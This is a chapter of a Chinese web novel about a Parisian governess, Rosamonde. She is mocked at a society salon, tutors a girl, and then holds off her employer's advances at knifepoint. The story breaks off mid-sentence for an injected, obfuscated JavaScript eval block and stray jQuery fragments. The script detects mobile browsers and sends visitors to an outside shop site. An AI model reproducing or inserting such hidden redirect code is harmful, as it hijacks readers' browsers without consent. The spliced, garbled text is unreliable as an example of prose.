德.埃斯巴侯爵夫人的宅邸在权力的中心。非圣日耳曼区和市政区、卢浮宫区的贵妇当不了社交皇后。谁家的皇后住在贫民区？老巴黎的中心又大又挤。大是因为居民想在寸土寸金的地方建个乡下庄园，挤则归于帝国倒塌了两三次后，贵族的数量不减反增，潮水般涌入象征社交地位的贵族区。


    “来新人了？”众星捧月的德.埃斯巴侯爵夫人问身旁的人，“谁请的她。”


    “夏洛特.德.福雷斯蒂埃。”回答时，贵妇的扇子飞快摇着，像是闻恶心的东西，“她请来的能是什么上流货色。”


    “别这么说。”德.埃斯巴侯爵夫人微笑道，“我们还得依仗她。”


    “没几日了。”贵妇知道德.埃斯巴侯爵夫人想听什么，“老福雷斯蒂埃的肺都快咳炸了。他一病，德.沃德雷克伯爵夫人就登堂入室……”


    这话勾起虫子似的喳喳笑。


    “德.沃德雷克伯爵夫人有颗火热的心。”


    通报声打断谈话。


    拉瓦洛先生带个姑娘进来。


    德.埃斯巴侯爵夫人伸出了手，拉瓦洛先生轻轻一吻，介绍起他带来德姑娘：“这是杜洛瓦小姐，夏洛特的朋友。”


    “您好。”看在拉瓦洛先生的面子上，侯爵夫人点了点头。一旁的贵妇替她开口，“您的父亲也在《法兰西生活报》？”


    “他在乡下卖酒。”罗莎蒙德看到一排轻蔑的脸，“必要时，酒也可以变成粮食。”


    德.埃斯巴侯爵夫人正眼看她：“朋友们。”社交皇后接受了她，“迎接我们的新伙伴吧！”


    拉瓦洛先生松了口气，吻了下罗莎蒙德的手：“明天见。”昨晚实在太美好了，他想再来一次。


    德.埃斯巴侯爵夫人饶有兴致地观察他们。“你们认识多久了？”拉瓦洛先生一走，她便打听起两人的事，“他对夏洛特可没这贴心。”


    “显而易见。”扇子摇成蜻蜓翅膀的贵妇不屑道，“她有别的长处。”


    你也有别的长处。


    罗莎蒙德想把那人的脑袋砸到墙上。


    贵妇斜着罗莎蒙德的脸，想把她再踩一脚：“说说你有什么长处。”她收起了安托话内特时的潮流扇子，抵着过大的鹰钩鼻，“能让拉瓦洛先生另眼相待。”


    虫子似的笑声再起响起，密密麻麻的把罗莎蒙德扎成刺猬。


    “说话啊！”贵妇不依不饶。


    “我笨嘴拙舌，不知道您没有什么。”


    笑声被罗莎蒙德轻轻吸走，取而代之的是沉重的呼吸。


    “你对自己有自知之明。”德.埃斯巴侯爵夫人岔开话题，贵妇们没再理会罗莎蒙德。


    “夏洛特怎么没和你来。”结束时，德.埃斯巴侯爵夫人终于想起罗莎蒙德，“老福雷斯蒂埃先生还好吗？”


    “可以去报社上班。”


    “那就奇怪了。”德.埃斯巴侯爵夫人边说边拿眼睛瞧她，“大概是要避着些事。”


    “这您得问夏洛特。”罗莎蒙德竭力装得毫不在意，回去冲着枕头发气。


    “贱货！全是贱货。”


    砸够了的罗莎蒙德平息了气，去给洛丽娜上课。


    “我昨日大放异彩。”洛丽娜一反常态地叽叽喳喳。她们在琴凳上聊天，没弹出一个音符，“妈妈夸我弹得好，问是谁教。”她的笑与声音蓦地断了，侧过身，敲出几个沉闷的音符。


    “她不喜欢你。”过了会儿，洛丽娜小心翼翼道，“我发誓没说你坏话。”


    “我信你。”罗莎蒙德烦躁的很，表情却一如既往的温柔，带了点受伤的意味，“她是讨厌教导你的所有女人，还是我有哪些地方冒犯了她。”


    洛丽娜一脸为难。


    罗莎蒙德凑近了问：“你讨厌我吗？”


    洛丽娜摇了摇头。


    “那你相信克劳德先生爱你，会为你选最好的人做家庭教师吗？”


    洛丽娜点了点头，更为难了。


    “我没见过你的母亲，不明白她为何仇视素未谋面的人。”罗莎蒙德给洛丽娜整理卡在衣服领的项链，上面挂着嵌宝石的十字架坠，纯银的，灯光下冷如匕首。“但经文里说过，‘你们不要论断人，免得你们被论断。因为你们怎样论断人，也必怎样被论断。’”


    她问洛丽娜：“你有好好读《圣经》吗？”


    “有。”洛丽娜更羞愧了，“我母亲她……”


    “嘘……”罗莎蒙德抵着洛丽娜的嘴，“不要非议你的母亲。你还小，需要她在一旁指点，带你融入女人圈子。我不了解你的母亲，但你想被母亲看到、喜欢，足以证明马雷尔夫人有可敬之处。你不需要为此烦恼，她会找你父亲甚至我本人来解决矛盾。”


    钢琴声戛然而止，洛丽娜轻轻“嗯”了声。


    上完课后，罗莎蒙德准备离开，克劳德先生叫住了她：“洛丽娜情绪不高。”他想聊的另有其事，“不忙的话喝杯咖啡


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17137968|193603||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。”


    洛丽娜回楼上看书，罗莎蒙德和克劳德先生去书房谈话。


    “你女儿……”话被堵在扑面而来的香水味里。


    克劳德先生个头不高，身形苗条，罗莎蒙德轻而易举地挣脱了他，举起了手，没一会儿又轻轻放下。“你该庆幸我还需要这份工作。”


    “很快就不需要了。”克劳德先生脸是烫的，声音和表情像吃人的兽，“你有拉瓦洛先生养你，在我这儿装什么……”


    耳光般的话被真正的耳光抽了回去。


    克劳德先生瞪大了眼，盯着发疼的腮帮问道：“疯了？”


    “我带了把刀。”罗莎蒙德警告他，“你可以和和气气地给我结清工资，也可以带着窟窿给我结清工资。”


    克劳德先生的怒火更甚，声音比刚才轻了不少，疼怕了：“我可以让你在巴黎混不下去。”


    “我可以让你立刻消失。”罗莎蒙德从头到脚都在嘲笑他，“巴黎混不下去了，我还能回老家。你呢？有第二条命还是真的不怕身败名裂？”罗莎蒙德拿出了刀，用丝巾绑紧刀柄和手，“准备好上各大报纸的头版头条吗？标题叫《法兰西生活报的编辑被家庭教师捅成重伤》。”


    她绑刀柄的娴熟姿态看得克劳德先生头皮发麻。


    电流从脑顶涌向四肢。


    恐惧带动别样的刺激。他双腿发软，慢慢跪下。


    “我们可以好好谈谈。”他不知是害怕还是期待，声音发颤。


    罗莎蒙德蹲下问他：“我问一句，你答一句。没问不许说话。”她用刀片拍拍克劳德先生的脸，对方软得更厉害了，“你有派人跟踪我吗？”


    “有。”克劳德先生想吐得更多，撑着地，邀功似地抬起了头，“是……”


    “嘘……”罗莎蒙德制止了他，刀片又贴紧了脸。


    克劳德先生乖乖住口。


    “你恨拉瓦洛先生吗？”


    “恨。”克劳德先生回答得太用力了，恶犬似地向前一拱，“我巴不得……”这次不用轻轻的嘘声，克劳德先生主动闭嘴。


    “结账吧！”罗莎蒙德收起了刀，点清报酬，出门前对匍匐的克劳德先生道，“您可以让跟踪我的私家侦探换个雇主。”


    克劳德先生呆呆地看着房门关上。


    第二日早，有人敲响伏盖公寓的大门。


    “您好。”盛装打扮的克劳德先生紧张地抓着帽子，“我来接罗莎蒙德小姐去上课。”